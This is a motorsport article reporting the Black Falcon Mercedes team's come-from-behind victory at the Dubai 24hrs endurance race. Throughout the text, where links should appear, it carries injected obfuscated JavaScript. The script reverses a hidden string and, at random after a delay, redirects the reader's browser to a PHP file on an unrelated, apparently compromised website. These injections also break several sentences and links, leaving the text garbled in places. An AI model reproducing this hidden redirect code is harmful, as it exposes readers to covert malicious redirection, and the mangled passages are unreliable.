“We thought it was over. When the crash happened, the car looked so bad, we thought we were out of it.”
Jeroen Bleekemolen wasn’t the only one in doubt. So severe was the shunt suffered by his Team Abu Dhabi by Black Falcon teammate Khaled Al Qubaisi during Wednesday testing that the #1 was deemed a write-off there and then.
Had it not been for a late deal with the British Preci-Spark team – who also happened to be running the Mercedes SLS AMG GT3 plus a spare – that would have been all she wrote for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/dubai-24hr-the-chequered-flag/” target=”_blank”>the reigning Dubai 24hrs winners. Given the context, heads in the paddock were still being shaken in disbelief when the Falcons crossed the finish line on top; somehow they had pulled it back from the brink.
Even then, the #1 Mercedes wasn’t home and dry until it passed the pit gantry for the 600th and final time. Having already been beaten away from the line by the Attempto Racing #26 Porsche 997 GT3 R ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-the-start-divebomb/” target=”_blank”>which would finish its race ablaze just nine laps later), the Black Falcons fell foul to poorly timed Code 60 flags in the early stages which dropped them two laps off the leaders.
Solid running, as well as issues that struck down many of its rivals, enabled the #1 machine to get back onto the tail of the leader, the identity of whom altered seven times in the opening four hours.
But by then night had fallen, and cooler track temperatures meant the Mercedes was devouring its harder compound tyres. Cue an unscheduled pit stop, a change of strategy, and more lost time.
By daybreak, the #1 SLS AMG was back in the lead, a two-lap cushion allowing team mechanics and pit perch attendees to breathe a sigh of relief, despite the #16 AF Corse continuing to hone in. Al Qubaisi’s unscheduled pit stop just ten minutes before the finish to replace a faulty drinks bottle heart rates through the roof…
…but much as it had done last year, the lead Black Falcons machine of UAE boy Al Qubaiasi, Sean Edwards, Bleekemolen and four-time DTM Champion Bernd Schneider cruised across the stripe after 24hrs of hectic action in Dubai to record its second consecutive victory at the endurance event.
For some, the excitement was too great. Al Qubaisi, exhausted and fatigued, was struggling to hold himself upright after his celebratory camel ride (an event tradition which, thanks to a recalcitrant animal, left third-placed $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-on-the-grid-with/” target=”_blank”>Darren Turner wide-eyed and praying for the comfort of terra firma).
Bleekemolen meanwhile smiled broadly. The Falcons had beaten the odds against stellar competition, and secured only the second back-to-back victory in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/dubai-24hrs/” target=”_blank”>Dubai 24hrs history, following Duller Motorsport’s achievements in 2006-07.
But while Bleekemolen, Al Qubaisi and Edwards now stand alongside Austrians Dieter Quester and Philipp Peter as two-time winners, it was the Dutchman who became the event’s most successful participant ever, thanks to a second placed finish in 2008.
Given their emphatic victory in both Gulf 12hrs events (first in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-dec-2012-par-for-the-af-corse/” target=”_blank”>January and then $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-dec-2012-par-for-the-af-corse/” target=”_blank”>December), AF Corse looked a little disheartened with second place. Still, the #16 had driven a brilliant race, meticulously (and quietly) threading its way through the pandemonium on-track to move up from tenth on the grid to the lead for three consecutive hours from the halfway point onwards.
